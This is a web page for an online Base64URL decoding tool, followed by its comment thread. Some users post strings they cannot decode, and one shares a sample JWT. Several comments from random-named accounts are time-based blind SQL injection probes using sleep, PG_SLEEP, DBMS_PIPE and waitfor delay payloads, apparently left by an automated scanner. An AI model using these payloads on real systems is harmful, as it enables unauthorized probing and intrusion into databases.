A virtual teacher who reveals to you the great secrets of Base64

Base64URL Decode

Comments: 19 | Rating: 4.6/5

Base64URL Decode is a free online tool for decoding Base64URL values to original data. By default, it decodes Base64URL as plain text, nevertheless, it also supports binary data, such as images or other files.

If you want to encode data to Base64URL string, check the Base64URL Encoder. Or, you may want to encode data to Base64 using the online convertor which supports various standards.

Comments (19)

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  • Stavros,
    Hello there,

    You may want to improve your magic base64 encoder / fixer by expecting JWTs!
    While I cannot post/give you mine (of course), you can find more details here: https://jwt.io/introduction/

    I suggest fixes by parsing either the beginning of JWT (ey...) or 3 dots (xxxx.yyyy.zzzz) or underscores and dashes (which can appear after the second dot), all any combination/all of the above!

    I rate the page 10/5

    e.g.

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
    reply
  • mRiDer,
    I am not able to decode this code , tried too muchh , but no use??
    Someone help me please..!!

    Code is here :-
    1101054E39040A442B54663B1607092742261C5F6E361E0D20041304000D655235060A1A4190B09EC6EAFC
    reply
  • Jose-Denison,
    Hello Admin I'm Newbie, and I came that your abrupt knowledge about steganography is very manly, so if you can and have time could you help me? I can't deobfuscate.

    !origin_ec?us-east-1"G0E x>EF�¯��ép��³¨d���½��h�ðx� �¢!¹�X�mæl�ü��1@ïE�.KM.a®¦õYr¸1R*��ÿÿÿÿÿÿÿÿ207207219375">±[�¼��F�O`*ï¤�ñ���:��e|�[è±¾ %���¾[w�½�;þ5²à�¨ ��â¤ö¦Uç�n�V¥X� ³�>��¥ôA09[ål>¾�4�NX`7�(ì\t,���V¹G��&¨�°�¯º©v*�¬(�¹µæ�FggV�9�c�/¢�º�üð?¥�K�±\Z�EºëV� KâQ%�ô5���k�õðn!#�"[�ò�¥üs�¢�£d:õ�53�gDº}(ü*�5�soµmï���3ò#fP³�§°tü®��âPº��/�~nì6�_-O�¹âï��q72$d()å�¥7ÿI�â�¤%_3å=J�C¬tx�º� 7)î�§y©Kr@��æ���,`ô\~� �V4�6éLM�e��s�âcä8´w<�Q±?��m&N\d«�=�ÿ��~�b´¨�8¸H¶��\â9K¯��¡�¢à�¢`�AC)U�àNHpF=u2�¦ò�Vy�¸_��bL½��r«�^h>]Hä5a½¾��ø�64�ë>û¥�§�N¾�w2��êWFü��^äo=¤"��3�?`��wë�±�]"��mR}ö���BN�©�ä�kO±F-(��¡)��C��R�P� ©�2µ¼ê�ð�3p³vµ�tFLúD���ls[!U8�õM¤J�ak®��G4¾¥>øa,¯ÿ&�D�¶^k©�ì�è|�÷':��wl�f~·¿yfie}�ãþ)¤;î��,��ýFY¨W#ù>E��ZQ6¼M�uJ|V�9öJ���{¹�¢l�)�s���eó�ê {uýòVðµ}{¿ø5¨m继P±�h���ó~f�÷î3+f÷�0�ò«�:�X¶�»´�O�å=´¾ýB*�8�¾�jèø3r�©ªf5¾7xmN²�þfXk3�]üPD�F.T�£C-½�{æS¡Uà£j�uj��\��=¢l8X�K�N»¤£0�KìN�zD�hqû<{âjú�1�'�«$´X�pºwºò5Cò��J&3¦�qê¬<�äã���óJ¢ì&¯ì�E®ªî�9©ÿS`�mjücOxV�ô��W�~ï�ý��ó��²[£¨$�el�k¼*RrT������ow·ôî�ê«Z09�%S=P�,~ÿ
    reply
  • Erez,
    hi i have a save file that i open in notepad and it give me that

    shikari^XIFtyešŠ=¸ÎÌ·èM¥sÑ}ª{w_=ÇG$œèMcä%\ýž¾ßÑü¸¦&3$µÏ1x•º³ÿ{n•ÙÂÁ‘1øRwm…ê!†96ÌOLk\N;—xŠûøìÚq£íö­Ìªî?ŸÞ…¹VÜ‹”\भíùLÂwF¢ê‘Œ¶M=ÚkÙ*‹Î§ø€ kA¨ÿÂpGÖâßJ¢ß/«´Bâ˜ïY¢$\ls‰Z®’-zì€p}g) ™®„u6+Ó…LþLTîéXS_HrúÁ¦L½ö¨÷«•`Œ\LKnœA‹XZo½Í<d’m„Lâ@G2–«¯¼DO)eCw²Û˜KÍ—›ùi‡·žRÎ/JОÖÏOò–Üž/Yî3hÒÐ¥²ÒùYd'²æIVØ»Ò


    how can i convert it or serch in it if i want to make change in mmy save game
    normaly it open the save file regular but not in this game bounty train
    thank you
    reply
    • yahya, ↑
      dnTeruYybxcfgx27DlIzAmDeCVjV3l1VjOsqkas+FEcTFpQDuX6ntaT/ugyB/lvK
      reply
  • nqhXncMU,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
    reply
  • nqhXncMU,
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    reply
  • nqhXncMU,
    if(now()=sysdate(),sleep(15),0)
    reply
  • nqhXncMU,
    07WMV6xn' OR 262=(SELECT 262 FROM PG_SLEEP(15))--
    reply
  • gBqsPxAZ,
    555*394*389*0
    reply
  • gBqsPxAZ,
    1
    reply
  • gBqsPxAZ,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
    reply
  • nqhXncMU,
    aWfkdPif'; waitfor delay '0:0:15' --
    reply
  • nqhXncMU,
    -1)) OR 900=(SELECT 900 FROM PG_SLEEP(15))--
    reply
  • ncMUFCMU,
    if(now()=sysdate(),sleep(15),0)
    reply
  • ncMUFCMU,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
    reply
  • ncMUFCMU,
    if(now()=sysdate(),sleep(15),0)
    reply
  • ncMUFCMU,
    -1)) OR 319=(SELECT 319 FROM PG_SLEEP(15))--
    reply
  • Tom123,
    Hello,

    i'm trying find what format what used to decode information to below string.

    16b9a1a8ff33785a931c1518
    619a21990e1360c57b041346
    208ea5b086333ccf10792012
    21fda5b12f33503494794152

    anyone can help?
    reply
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